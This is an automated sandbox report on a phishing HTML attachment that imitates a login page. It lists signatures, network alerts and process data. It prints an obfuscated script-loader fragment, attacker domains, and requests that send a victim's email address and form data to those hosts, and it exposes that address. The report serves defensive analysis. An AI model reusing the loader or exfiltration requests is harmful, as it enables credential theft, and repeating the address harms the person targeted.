Edit tour

Windows Analysis Report
ATT09858.htm

Overview

General Information

Sample name:	ATT09858.htm
Analysis ID:	1634292
MD5:	a168ac2cb91cbb5613eea64d642a6fce
SHA1:	babb531e1d3443226c36e4f4c0df059d593ff30c
SHA256:	c3a92a1bc7110d8b2dd4618d1be9c72c9cfb5ce72aa68689333ca5cc5d051470
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected HtmlPhish10

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML IFrame injector detected

HTML Script injector detected

HTML file submission containing password form

Suspicious Javascript code found in HTML file

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML page contains string obfuscation

IP address seen in connection with other malware

Invalid 'forgot password' link found

No HTML title found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7036 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\ATT09858.htm" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2096 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4544 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5732 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

ETPRO PHISHING Successful Generic Phish 2021-03-25

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T20:54:05.739509+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49756	104.168.138.190	443	TCP
2025-03-10T20:54:20.004626+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	64174	104.168.138.190	443	TCP
2025-03-10T20:54:32.376114+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	64180	104.168.138.190	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.1.d.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: ... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code and URLs. The script collects user information (email address) and constructs a URL that appears to send this data to external servers. Additionally, the script uses various encoding and decoding techniques, which is a common tactic to hide malicious intent. Overall, the combination of these behaviors indicates a high likelihood of malicious activity, warranting a high-risk score.

Detected javascript redirector / loader

Source: ATT09858.htm

HTTP Parser: Low number of body elements: 0

HTML IFrame injector detected

Source: file:///C:/Users/user/Desktop/ATT09858.htm

HTTP Parser: New IFrame

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: New script, src: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: New script, src: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: New script, src: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js

Suspicious Javascript code found in HTML file

Source: ATT09858.htm

HTTP Parser: document.write

Source: file:///C:/Users/user/Desktop/ATT09858.htm

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/ATT09858.htm

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: ATT09858.htm

HTTP Parser: Base64 decoded: ;.5_f|W:#[0?.ws<|7I%Zve^*] 8)^#Q_=;7;/9W-e%1%?[#hw.}|!W:,<;+h8W)R$a gZv(`V15#8}>w&W~9W"%<8.ws9V~-15(<(x(o18}`x9o)R'H] .Zv|."),\ )xdv$.".,7.]6|91.I,,8)u%lZ...

Source:

HTTP Parser: Found new string: script . var phantom = document['crea' + 'teEle' + 'ment']('scr' + 'ipt');. phantom['sr' + 'c'] = scpht();. document['bo' + 'dy']['appen' + 'dChild'](phantom);. ..

Source: file:///C:/Users/user/Desktop/ATT09858.htm

HTTP Parser: Invalid link: Forgot Password?

Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: HTML title missing
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: HTML title missing
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: HTML title missing

Source: file:///C:/Users/user/Desktop/ATT09858.htm

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/ATT09858.htm

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/ATT09858.htm	HTTP Parser: No <meta name="copyright".. found

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49756 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:64180 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:64174 -> 104.168.138.190:443

Source: global traffic

TCP traffic: 192.168.2.5:49751 -> 185.174.100.76:3063

Source: Joe Sandbox View	IP Address: 185.174.100.20 185.174.100.20
Source: Joe Sandbox View	IP Address: 199.232.196.193 199.232.196.193
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.67
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ncb/xls/n1c2b.js?uid=ap@cannara.ca HTTP/1.1Host: office.avcbtech.storeConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /start/xls/includes/css6.css HTTP/1.1Host: sender.linxcoded.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0HdPsKK.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KAb5SEy.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0HdPsKK.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KAb5SEy.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ncb/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ncb/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=63446665553c64a43494b444f44e267f

Source: global traffic	DNS traffic detected: DNS query: office.avcbtech.store
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: sender.linxcoded.top
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: i.imgur.com
Source: global traffic	DNS traffic detected: DNS query: server1.linxcoded.top
Source: global traffic	DNS traffic detected: DNS query: _3063._https.server1.linxcoded.top
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: avcbtech.site
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com

Source: unknown

HTTP traffic detected: POST /ncb/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveContent-Length: 47sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_133.7.dr	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: chromecache_142.7.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_142.7.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 64177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64180
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64182
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64179
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 64178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 64174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64174
Source: unknown	Network traffic detected: HTTP traffic on port 64180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64176
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir7036_1948185421

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir7036_1948185421

Jump to behavior

Source: classification engine

Classification label: mal80.phis.winHTM@41/23@43/18

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Packages\cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\ATT09858.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2096 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4544 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5732 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2096 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4544 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5732 /prefetch:8	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/ATT09858.htm

HTTP Parser: file:///C:/Users/user/Desktop/ATT09858.htm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
